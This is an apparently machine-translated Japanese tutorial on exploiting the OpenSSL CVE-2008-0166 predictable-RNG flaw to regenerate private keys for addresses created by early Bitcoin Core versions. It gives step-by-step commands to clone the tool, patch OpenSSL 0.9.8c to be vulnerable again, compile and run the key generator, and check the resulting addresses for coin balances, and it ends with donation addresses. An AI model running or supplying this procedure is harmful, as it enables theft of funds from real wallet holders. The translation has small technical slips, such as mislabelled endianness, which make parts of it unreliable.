
この記事では、CVE-2008-0166脆弱性を使用してビットコインアドレス(P2PKH)を生成するツールを作成します。これは、Bitcoin Coreソフトウェアクライアントの初期バージョンでBTCコインを見つけるための研究プロジェクトです。
乱数生成器 が生成する 予測可能な数値 CVE-2008-0166
深刻な脆弱性バージョン OpenSSL 0.9.8 CVE-2008-0166 was プロセスIDのみで生成されました。エンディアンとsizeof(long)の違いにより、出力はアーキテクチャに依存します: 32ビットビッグエンディアン(例: i386)、 64ビットビッグエンディアン(例: amd64, ia64)、 32ビットビッグエンディアン(例: powerpc, sparc)。PID 0 はコアであり、 PID_MAX(32768)は移植によって到達されないため、各アーキテクチャに対して 32767 の可能な乱数ストリームがありました。
| リリース日 | バージョン |
すべてはGoogle Driveファイルストレージに保存されます
«Ubuntu 18.04.5LTS»
g++をインストール
パッケージ libgmp3-dev libmpfr-dev をインストール
cryptodeepbtcgenが正常に作成されました!
cryptodeepbtcgen を実行
bitaddressウェブサイトで秘密鍵を確認
Bitcoin Coreソフトウェアクライアントは OpenSSL を使用します。具体的には、関数 «EC_KEY_generate_key()» を使用して、支払いを受け取るためのビットコインアドレス (鍵のようなもの) を生成します。古いバージョンのBitcoin Coreは wallet.dat に 100 個の鍵を生成して保存します。
新しい鍵は、ビットコインの支払いが受け取られたときにのみ生成されます。したがって、Bitcoin Coreソフトウェアクライアントは 100 個の未使用のビットコイン鍵 (アドレス) のプールを維持します。内部乱数生成器の状態は、ライブラリ OpenSSL への 呼び出しの前に 'EC_KEY_generate_key()' に対して行われた他の呼び出しに依存します。RNGの内部状態に影響を与える課題:«RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
そこで、研究では多くの古いビットコインソースを調べて、呼び出し «EC_KEY_generate_key()». の前にRNGの内部状態に影響を与える呼び出しが何であったかを特定しました。呼び出しパスはBitcoin Coreソフトウェアクライアントのバージョン間で異なります。
研究は以下のバージョンに焦点を当てました:

私たちの目標は、深刻な脆弱性 OpenSSL 0.9.8. からの乱数を使用して、各アーキテクチャ (le32/le64)、各プロセスID、およびビットコインアドレス (P2PKH) に対して、Bitcoin Coreソフトウェアクライアントの各バージョンの秘密鍵を生成することです。
最終的に、ビットコインアドレスジェネレーター (P2PKH) を作成し、すべてをファイル result.txt に保存します。

これには Google Colabの«Ubuntu 18.04.5 LTS» ディストリビューションキット を使用します。

以前に «Google ColabのTERMINALがGITHUBでの作業に便利な機能をすべて作成する» というビデオチュートリアルを録画しました。
Google Colabを Terminal [TerminalGoogleColab] で開く
コマンドを実行しましょう:
cat /etc/lsb-release
«CryptoDeepTools» リポジトリに移動して詳細を見てみましょう。
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

更新してインストール: g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

OpenSSL を再び CVE-2008-0166 のように脆弱にするために
openssl-0.9.8c.tar.gz をダウンロードし、システムファイルにパッチを当てます。
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

すべてはファイルストレージ Google Drive にテキストファイル result.txt として保存されます。


次に、生成されたすべてのビットコインアドレスにBTCコインが存在するか確認する必要があります。これには Pythonスクリプト bitcoin-checker.py を使用できます。
| 寄付アドレス | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |